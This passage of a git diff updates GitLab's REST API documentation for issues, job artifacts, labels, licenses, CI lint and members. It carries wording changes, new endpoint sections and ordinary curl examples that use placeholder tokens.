+12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Get a list of a given issue's [related issues](../user/project/issues/related_issues.md), sorted by the relationship creation datetime (ascending). -Issues will be filtered according to the user authorizations. +Issues are filtered according to the user authorizations. ```plaintext GET /projects/:id/issues/:issue_iid/links @@ -57,7 +57,9 @@ Parameters: "web_url": "http://example.com/example/example/issues/14", "confidential": false, "weight": null, - "link_type": "relates_to" + "link_type": "relates_to", + "link_created_at": "2016-01-07T12:44:33.959Z", + "link_updated_at": "2016-01-07T12:44:33.959Z" } ] ``` diff --git a/doc/api/issues.md b/doc/api/issues.md index ad5990f4a37..f6bab9ce676 100644 --- a/doc/api/issues.md +++ b/doc/api/issues.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issues API @@ -16,11 +16,11 @@ are paginated. Read more on [pagination](README.md#pagination). -DANGER: **Deprecated:** +WARNING: The `reference` attribute in responses is deprecated in favor of `references`. Introduced in [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354). -NOTE: **Note:** +NOTE: The `references.relative` attribute is relative to the group or project of the issue being requested. When an issue is fetched from its project, the `relative` format is the same as the `short` format, and when requested across groups or projects it's expected to be the same as the `full` format. @@ -197,11 +197,11 @@ the `health_status` parameter: ] ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -375,10 +375,10 @@ the `health_status` parameter: ] ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -558,10 +558,10 @@ the `health_status` parameter: ] ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -678,6 +678,7 @@ Example response: }, "subscribed": true, "moved_to_id": null, + "service_desk_reply_to": "service.desk@gitlab.com", "epic_iid": null, "epic": null } @@ -715,15 +716,15 @@ the `epic` property: } ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -DANGER: **Deprecated:** +WARNING: The `epic_iid` attribute is deprecated, and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157). Please use `iid` of the `epic` attribute instead. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -877,14 +878,14 @@ property: ] ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -DANGER: **Deprecated:** +WARNING: The `epic_iid` attribute is deprecated and [will be removed in version 5](https://gitlab.com/gitlab-org/gitlab/-/issues/35157). Please use `iid` of the `epic` attribute instead. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -1005,10 +1006,10 @@ the `health_status` parameter: ] ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -1158,11 +1159,11 @@ the `health_status` parameter: ] ``` -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. -DANGER: **Deprecated:** +WARNING: `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. ## Delete an issue @@ -1323,10 +1324,10 @@ the `health_status` parameter: ] ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -1432,10 +1433,10 @@ the `weight` parameter: } ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. @@ -1622,13 +1623,68 @@ Example response: } ``` -DANGER: **Deprecated:** +WARNING: The `assignee` column is deprecated. We now show it as a single-sized array `assignees` to conform to the GitLab EE API. -NOTE: **Note:** +NOTE: The `closed_by` attribute was [introduced in GitLab 10.6](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17042). This value is only present for issues closed after GitLab 10.6 and if the user account that closed the issue still exists. +## Promote an issue to an epic **(PREMIUM)** + +Promotes an issue to an epic by adding a comment with the `/promote` +[quick action](../user/project/quick_actions.md). + +To learn more about promoting issues to epics, visit [Manage epics](../user/group/epics/manage_epics.md#promote-an-issue-to-an-epic). + +```plaintext +POST /projects/:id/issues/:issue_iid/notes +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| :---------- | :------------- | :------- | :---------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `issue_iid` | integer | yes | The internal ID of a project's issue | +| `body` | String | yes | The content of a note. Must contain `/promote` at the start of a new line. | + +Example request: + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=Lets%20promote%20this%20to%20an%20epic%0A%0A%2Fpromote" +``` + +Example response: + +```json +{ + "id":699, + "type":null, + "body":"Lets promote this to an epic", + "attachment":null, + "author": { + "id":1, + "name":"Alexandra Bashirian", + "username":"eileen.lowe", + "state":"active", + "avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon", + "web_url":"https://gitlab.example.com/eileen.lowe" + }, + "created_at":"2020-12-03T12:27:17.844Z", + "updated_at":"2020-12-03T12:27:17.844Z", + "system":false, + "noteable_id":461, + "noteable_type":"Issue", + "resolvable":false, + "confidential":false, + "noteable_iid":33, + "commands_changes": { + "promote_to_epic":true + } +} +``` + ## Set a time estimate for an issue Sets an estimated time of work for this issue. @@ -2085,3 +2141,73 @@ Example response: To track which state was set, who did it, and when it happened, check out [Resource state events API](resource_state_events.md#issues). + +## Upload metric image + +Available only for Incident issues. + +```plaintext +POST /projects/:id/issues/:issue_iid/metric_images +``` + +| Attribute | Type | Required | Description | +|-------------|---------|----------|--------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `issue_iid` | integer | yes | The internal ID of a project's issue | +| `file` | file | yes | The image file to be uploaded | +| `url` | string | no | The URL to view more metric information | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" --form 'file=@/path/to/file.png' \ +--form 'url=http://example.com' "https://gitlab.example.com/api/v4/projects/5/issues/93/metric_images" +``` + +Example response: + +```json +{ + "id": 23, + "created_at": "2020-11-13T00:06:18.084Z", + "filename": "file.png", + "file_path": "/uploads/-/system/issuable_metric_image/file/23/file.png", + "url": "http://example.com" +} +``` + +## List metric images + +Available only for Incident issues. + +```plaintext +GET /projects/:id/issues/:issue_iid/metric_images +``` + +| Attribute | Type | Required | Description | +|-------------|---------|----------|--------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | +| `issue_iid` | integer | yes | The internal ID of a project's issue | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/93/metric_images" +``` + +Example response: + +```json +[ + { + "id": 17, + "created_at": "2020-11-12T20:07:58.156Z", + "filename": "sample_2054", + "file_path": "/uploads/-/system/issuable_metric_image/file/17/sample_2054.png", + "url": "example.com/metric" + }, + { + "id": 18, + "created_at": "2020-11-12T20:14:26.441Z", + "filename": "sample_2054", + "file_path": "/uploads/-/system/issuable_metric_image/file/18/sample_2054.png", + "url": "example.com/metric" + } +] +``` diff --git a/doc/api/issues_statistics.md b/doc/api/issues_statistics.md index 3f0b22cca4c..20f405774d5 100644 --- a/doc/api/issues_statistics.md +++ b/doc/api/issues_statistics.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issues Statistics API @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to issues_statistics must be authenticated. If a user is not a member of a project and the project is private, a `GET` -request on that project will result to a `404` status code. +request on that project results in a `404` status code. ## Get issues statistics @@ -40,7 +40,7 @@ GET /issues_statistics?confidential=true | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `iids[]` | integer array | no | Return only the issues having the given `iid` | | `search` | string | no | Search issues against their `title` and `description` | @@ -98,7 +98,7 @@ GET /groups/:id/issues_statistics?confidential=true | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `search` | string | no | Search group issues against their `title` and `description` | | `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | @@ -154,7 +154,7 @@ GET /projects/:id/issues_statistics?confidential=true | `author_id` | integer | no | Return issues created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Return issues created by the given `username`. Similar to `author_id` and mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Return issues assigned to the given user `id`. Mutually exclusive with `assignee_username`. `None` returns unassigned issues. `Any` returns issues with an assignee. | -| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error will be returned otherwise. | +| `assignee_username` | string array | no | Return issues assigned to the given `username`. Similar to `assignee_id` and mutually exclusive with `assignee_id`. In GitLab CE `assignee_username` array should only contain a single value or an invalid parameter error is returned otherwise. | | `my_reaction_emoji` | string | no | Return issues reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `search` | string | no | Search project issues against their `title` and `description` | | `created_after` | datetime | no | Return issues created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | diff --git a/doc/api/iterations.md b/doc/api/iterations.md index 9f1585eed79..1ee489e4cf1 100644 --- a/doc/api/iterations.md +++ b/doc/api/iterations.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project iterations API **(STARTER)** diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md index 54085e6f508..229b90282f0 100644 --- a/doc/api/job_artifacts.md +++ b/doc/api/job_artifacts.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Job Artifacts API @@ -16,11 +16,11 @@ Get the job's artifacts zipped archive of a project. GET /projects/:id/jobs/:job_id/artifacts ``` -| Attribute | Type | Required | Description | -|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `job_id` | integer | yes | ID of a job. | -| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | +| Attribute | Type | Required | Description | +|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `job_id` | integer | yes | ID of a job. | +| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | Example request using the `PRIVATE-TOKEN` header: @@ -32,7 +32,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside `.gitlab-ci.yml` **(PREMIUM)**, you can use either: - The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the job with ID + For example, the following job downloads the artifacts of the job with ID `42`. Note that the command is wrapped into single quotes since it contains a colon (`:`): @@ -44,7 +44,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside ``` - Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the job with ID `42`: + For example, the following job downloads the artifacts of the job with ID `42`: ```yaml artifact_download: @@ -69,10 +69,10 @@ the given reference name and job, provided the job finished successfully. This is the same as [getting the job's artifacts](#get-job-artifacts), but by defining the job's name instead of its ID. -NOTE: **Note:** +NOTE: If a pipeline is [parent of other child pipelines](../ci/parent_child_pipelines.md), artifacts are searched in hierarchical order from parent to child. For example, if both parent and -child pipelines have a job with the same name, the artifact from the parent pipeline will be returned. +child pipelines have a job with the same name, the artifact from the parent pipeline is returned. ```plaintext GET /projects/:id/jobs/artifacts/:ref_name/download?job=name @@ -80,12 +80,12 @@ GET /projects/:id/jobs/artifacts/:ref_name/download?job=name Parameters -| Attribute | Type | Required | Description | -|-------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | -| `job` | string | yes | The name of the job. | -| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | +| Attribute | Type | Required | Description | +|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | +| `job` | string | yes | The name of the job. | +| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. | Example request using the `PRIVATE-TOKEN` header: @@ -97,7 +97,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside `.gitlab-ci.yml` **(PREMIUM)**, you can use either: - The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the `test` job + For example, the following job downloads the artifacts of the `test` job of the `master` branch. Note that the command is wrapped into single quotes since it contains a colon (`:`): @@ -109,7 +109,7 @@ To use this in a [`script` definition](../ci/yaml/README.md#script) inside ``` - Or the `job_token` attribute with the GitLab-provided `CI_JOB_TOKEN` variable. - For example, the following job will download the artifacts of the `test` job + For example, the following job downloads the artifacts of the `test` job of the `master` branch: ```yaml @@ -179,12 +179,12 @@ GET /projects/:id/jobs/artifacts/:ref_name/raw/*artifact_path?job=name Parameters: -| Attribute | Type | Required | Description | -|-----------------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| Attribute | Type | Required | Description | +|-----------------|----------------|----------|--------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. | -| `artifact_path` | string | yes | Path to a file inside the artifacts archive. | -| `job` | string | yes | The name of the job. | +| `ref_name` | string | yes | Branch or tag name in repository. `HEAD` or `SHA` references are not supported. | +| `artifact_path` | string | yes | Path to a file inside the artifacts archive. | +| `job` | string | yes | The name of the job. | Example request: @@ -210,8 +210,8 @@ POST /projects/:id/jobs/:job_id/artifacts/keep Parameters -| Attribute | Type | Required | Description | -|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| Attribute | Type | Required | Description | +|-----------|----------------|----------|--------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | | `job_id` | integer | yes | ID of a job. | @@ -264,8 +264,8 @@ Delete artifacts of a job. DELETE /projects/:id/jobs/:job_id/artifacts ``` -| Attribute | Type | Required | Description | -|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| Attribute | Type | Required | Description | +|-----------|----------------|----------|-----------------------------------------------------------------------------| | `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | | `job_id` | integer | yes | ID of a job. | @@ -275,7 +275,7 @@ Example request: curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/1/artifacts" ``` -NOTE: **Note:** +NOTE: At least Maintainer role is required to delete artifacts. If the artifacts were deleted successfully, a response with status `204 No Content` is returned. diff --git a/doc/api/jobs.md b/doc/api/jobs.md index 054260794c7..b7b742ebe66 100644 --- a/doc/api/jobs.md +++ b/doc/api/jobs.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Jobs API @@ -293,7 +293,7 @@ GET /projects/:id/pipelines/:pipeline_id/bridges | `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" 'https://gitlab.example.com/api/v4/projects/1/pipelines/6/bridges?scope[]=pending&scope[]=running' +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipelines/6/bridges?scope[]=pending&scope[]=running" ``` Example of response diff --git a/doc/api/keys.md b/doc/api/keys.md index b9e45c23e77..dccea1f0e0a 100644 --- a/doc/api/keys.md +++ b/doc/api/keys.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/labels.md b/doc/api/labels.md index acc80badd11..963d320a384 100644 --- a/doc/api/labels.md +++ b/doc/api/labels.md @@ -1,12 +1,12 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Labels API -NOTE: **Note:** +NOTE: The `description_html` - was added to response JSON in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413). ## List labels @@ -200,7 +200,7 @@ DELETE /projects/:id/labels/:label_id curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/labels/bug" ``` -NOTE: **Note:** +NOTE: An older endpoint `DELETE /projects/:id/labels` with `name` in the parameters is still available, but deprecated. ## Edit an existing label @@ -244,7 +244,7 @@ Example response: } ``` -NOTE: **Note:** +NOTE: An older endpoint `PUT /projects/:id/labels` with `name` or `label_id` in the parameters is still available, but deprecated. ## Promote a project label to a group label @@ -285,7 +285,7 @@ Example response: } ``` -NOTE: **Note:** +NOTE: An older endpoint `PUT /projects/:id/labels/promote` with `name` in the parameters is still available, but deprecated. ## Subscribe to a label diff --git a/doc/api/license.md b/doc/api/license.md index 8c92a46a975..9aaf68d5b89 100644 --- a/doc/api/license.md +++ b/doc/api/license.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # License **(CORE ONLY)** To interact with license endpoints, you need to authenticate yourself as an -admin. +administrator. ## Retrieve information about the current license @@ -86,15 +86,15 @@ GET /licenses ] ``` -Overage is the difference between the number of active users and the licensed number of users. +Overage is the difference between the number of billable users and the licensed number of users. This is calculated differently depending on whether the license has expired or not. -- If the license has expired, it uses the historical maximum active user count (`historical_max`). -- If the license has not expired, it uses the current active users count. +- If the license has expired, it uses the historical maximum billable user count (`historical_max`). +- If the license has not expired, it uses the current billable users count. Returns: -- `200 OK` with response containing the licenses in JSON format. This will be an empty JSON array if there are no licenses. +- `200 OK` with response containing the licenses in JSON format. This is an empty JSON array if there are no licenses. - `403 Forbidden` if the current user in not permitted to read the licenses. ## Add a new license diff --git a/doc/api/license_templates.md b/doc/api/license_templates.md index 1b68af9ce31..7587721968b 100644 --- a/doc/api/license_templates.md +++ b/doc/api/license_templates.md @@ -3,3 +3,6 @@ redirect_to: 'templates/licenses.md' --- This document was moved to [another location](templates/licenses.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/lint.md b/doc/api/lint.md index 24de4a24ff1..48a7be13a28 100644 --- a/doc/api/lint.md +++ b/doc/api/lint.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # CI Lint API @@ -246,7 +246,7 @@ GitLab API using `curl` and `jq` in a one-line command: ```shell jq --null-input --arg yaml "$(<example-gitlab-ci.yml)" '.content=$yaml' \ -| curl 'https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true' \ +| curl "https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true" \ --header 'Content-Type: application/json' \ --data @- ``` @@ -293,7 +293,7 @@ With a one-line command, you can: ```shell jq --null-input --arg yaml "$(<example-gitlab-ci.yml)" '.content=$yaml' \ -| curl 'https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true' \ +| curl "https://gitlab.com/api/v4/ci/lint?include_merged_yaml=true" \ --header 'Content-Type: application/json' --data @- \ | jq --raw-output '.merged_yaml | fromjson' ``` diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md index f7f6fbfbc47..d0944aefd64 100644 --- a/doc/api/managed_licenses.md +++ b/doc/api/managed_licenses.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Managed Licenses API **(ULTIMATE)** diff --git a/doc/api/markdown.md b/doc/api/markdown.md index e382ca6b7c8..c7908f02b6e 100644 --- a/doc/api/markdown.md +++ b/doc/api/markdown.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/members.md b/doc/api/members.md index d616dfdd85c..05914b50cd7 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Group and project members API @@ -11,15 +11,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w The access levels are defined in the `Gitlab::Access` module. Currently, these levels are recognized: - No access (`0`) +- Minimal access (`5`) ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220203) in GitLab 13.5.) - Guest (`10`) - Reporter (`20`) - Developer (`30`) - Maintainer (`40`) - Owner (`50`) - Only valid to set for groups -CAUTION: **Caution:** +WARNING: Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299), -projects in personal namespaces will not show owner (`50`) permission +projects in personal namespaces don't show owner (`50`) permission for owner. ## Limitations @@ -89,7 +90,7 @@ Example response: Gets a list of group or project members viewable by the authenticated user, including inherited members and permissions through ancestor groups. -CAUTION: **Caution:** +WARNING: Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/249523), the users effective `access_level` may actually be higher than returned value when listing group members. This function takes pagination parameters `page` and `per_page` to restrict the list of users. @@ -241,6 +242,10 @@ Unlike other API endpoints, billable members is updated once per day at 12:00 UT This function takes [pagination](README.md#pagination) parameters `page` and `per_page` to restrict the list of users. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/262875) in GitLab 13.7, the `search` and +`sort` parameters allow you to search for billable group members by name and sort the results, +respectively. + ```plaintext GET /groups/:id/billable_members ``` @@ -248,6 +253,21 @@ GET /groups/:id/billable_members | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user | +| `search` | string | no | A query string to search for group members by name, username, or email. | +| `sort` | string | no | A query string containing parameters that specify the sort attribute and order. See supported values below.| + +The supported values for the `sort` attribute are: + +| Value | Description | +| ------------------- | ------------------------ | +| 